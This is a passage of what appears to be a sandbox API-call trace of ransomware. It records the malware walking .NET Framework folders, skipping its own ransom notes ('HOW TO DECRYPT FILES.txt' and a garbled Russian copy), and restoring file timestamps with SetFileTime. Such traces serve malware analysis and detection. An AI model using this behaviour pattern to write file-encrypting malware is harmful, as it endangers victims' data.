returned="Microsoft.WorkflowBuildExtensions.targets" [0137.670] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.670] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.671] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d0137c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MmcAspExt.dll", cAlternateFileName="MMCASP~1.DLL")) returned 1 [0137.671] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.671] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MmcAspExt.dll") returned -1 [0137.671] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MmcAspExt.dll") returned -1 [0137.671] lstrcmpiA (lpString1="", lpString2="MmcAspExt.dll") returned -1 [0137.671] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Xaml.targets") returned="Microsoft.Xaml.targets" [0137.671] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.671] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.671] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4eeb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd1269b00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOF", cAlternateFileName="")) returned 1 [0137.671] lstrcmpA (lpString1=".", lpString2="MOF") returned -1 [0137.672] lstrcmpA (lpString1="..", lpString2="MOF") returned -1 [0137.672] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MmcAspExt.dll") returned="MmcAspExt.dll" [0137.672] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4eeb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd1269b00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.676] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.676] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4eeb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd1269b00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.676] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.676] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.676] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3896c600, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3896c600, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x1593f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ServiceModel.mof", cAlternateFileName="SERVIC~1.MOF")) returned 1 [0137.676] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.676] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModel.mof") returned -1 [0137.676] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModel.mof") returned -1 [0137.676] lstrcmpiA (lpString1="", lpString2="ServiceModel.mof") returned -1 [0137.676] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\*.*") returned="*.*" [0137.676] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" [0137.676] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="" [0137.678] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.678] CloseHandle (hObject=0x90) returned 1 [0137.679] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9746f500, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9746f500, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel.mof.uninstall", cAlternateFileName="SERVIC~1.UNI")) returned 1 [0137.679] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModel.mof.uninstall") returned -1 [0137.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModel.mof.uninstall") returned -1 [0137.679] lstrcmpiA (lpString1="", lpString2="ServiceModel.mof.uninstall") returned -1 [0137.679] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\ServiceModel.mof") returned="ServiceModel.mof" [0137.679] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" [0137.679] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="" [0137.679] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x3284, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel35.mof", cAlternateFileName="SERVIC~2.MOF")) returned 1 [0137.679] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModel35.mof") returned -1 [0137.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModel35.mof") returned -1 [0137.679] lstrcmpiA (lpString1="", lpString2="ServiceModel35.mof") returned -1 [0137.680] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\ServiceModel.mof.uninstall") returned="ServiceModel.mof.uninstall" [0137.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" [0137.680] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="" [0137.680] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel35.mof.uninstall", cAlternateFileName="SERVIC~2.UNI")) returned 1 [0137.680] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.680] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModel35.mof.uninstall") returned -1 [0137.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModel35.mof.uninstall") returned -1 [0137.680] lstrcmpiA (lpString1="", lpString2="ServiceModel35.mof.uninstall") returned -1 [0137.680] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\ServiceModel35.mof") returned="ServiceModel35.mof" [0137.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" [0137.680] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF\\") returned="" [0137.681] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b4eeb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModel35.mof.uninstall", cAlternateFileName="SERVIC~2.UNI")) returned 0 [0137.681] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0137.681] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0137.681] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0137.681] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0137.681] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.681] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.683] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.683] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef93520, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce96a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.683] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.683] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.683] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53abef00, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x53abef00, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0x3ad6c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Commontypes.xsd", cAlternateFileName="MICROS~1.XSD")) returned 1 [0137.683] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0137.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0137.683] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Commontypes.xsd") returned -1 [0137.683] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\*.*") returned="*.*" [0137.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\" [0137.683] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\") returned="" [0137.688] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.688] CloseHandle (hObject=0x90) returned 1 [0137.688] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea0fb00, ftCreationTime.dwHighDateTime=0x1cd0c63, ftLastAccessTime.dwLowDateTime=0xcfbcca00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdea0fb00, ftLastWriteTime.dwHighDateTime=0x1cd0c63, nFileSizeHigh=0x0, nFileSizeLow=0xb36d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Core.xsd", cAlternateFileName="MICROS~2.XSD")) returned 1 [0137.688] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.688] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Core.xsd") returned -1 [0137.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Core.xsd") returned -1 [0137.688] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Core.xsd") returned -1 [0137.688] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\Microsoft.Build.Commontypes.xsd") returned="Microsoft.Build.Commontypes.xsd" [0137.688] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\" [0137.688] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild\\") returned="" [0137.689] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea0fb00, ftCreationTime.dwHighDateTime=0x1cd0c63, ftLastAccessTime.dwLowDateTime=0xcfbcca00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdea0fb00, ftLastWriteTime.dwHighDateTime=0x1cd0c63, nFileSizeHigh=0x0, nFileSizeLow=0xb36d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Core.xsd", cAlternateFileName="MICROS~2.XSD")) returned 0 [0137.689] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0137.689] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d05fa80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3fb30, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MSBuild.exe", cAlternateFileName="")) returned 1 [0137.689] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.689] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.exe") returned -1 [0137.689] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.exe") returned -1 [0137.689] lstrcmpiA (lpString1="", lpString2="MSBuild.exe") returned -1 [0137.689] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.689] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.689] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.690] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20195d00, ftCreationTime.dwHighDateTime=0x1cac5eb, ftLastAccessTime.dwLowDateTime=0x9ef93520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x20195d00, ftLastWriteTime.dwHighDateTime=0x1cac5eb, nFileSizeHigh=0x0, nFileSizeLow=0x6c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="msbuild.exe.config", cAlternateFileName="MSBUIL~1.CON")) returned 1 [0137.690] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msbuild.exe.config") returned -1 [0137.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msbuild.exe.config") returned -1 [0137.690] lstrcmpiA (lpString1="", lpString2="msbuild.exe.config") returned -1 [0137.690] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe") returned="MSBuild.exe" [0137.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.690] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.690] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20195d00, ftCreationTime.dwHighDateTime=0x1cac5eb, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x20195d00, ftLastWriteTime.dwHighDateTime=0x1cac5eb, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild.rsp", cAlternateFileName="")) returned 1 [0137.690] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.rsp") returned -1 [0137.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.rsp") returned -1 [0137.690] lstrcmpiA (lpString1="", lpString2="MSBuild.rsp") returned -1 [0137.690] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe.config") returned="msbuild.exe.config" [0137.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.691] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.691] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d085be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1348b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordacwks.dll", cAlternateFileName="MSCORD~1.DLL")) returned 1 [0137.691] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.691] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscordacwks.dll") returned -1 [0137.691] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscordacwks.dll") returned -1 [0137.691] lstrcmpiA (lpString1="", lpString2="mscordacwks.dll") returned -1 [0137.691] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.rsp") returned="MSBuild.rsp" [0137.691] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.691] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.692] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d0d1ea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1096a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordbi.dll", cAlternateFileName="")) returned 1 [0137.692] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscordbi.dll") returned -1 [0137.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscordbi.dll") returned -1 [0137.692] lstrcmpiA (lpString1="", lpString2="mscordbi.dll") returned -1 [0137.692] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscordacwks.dll") returned="mscordacwks.dll" [0137.692] lstrcpyA (in: lpString1=0x407019, 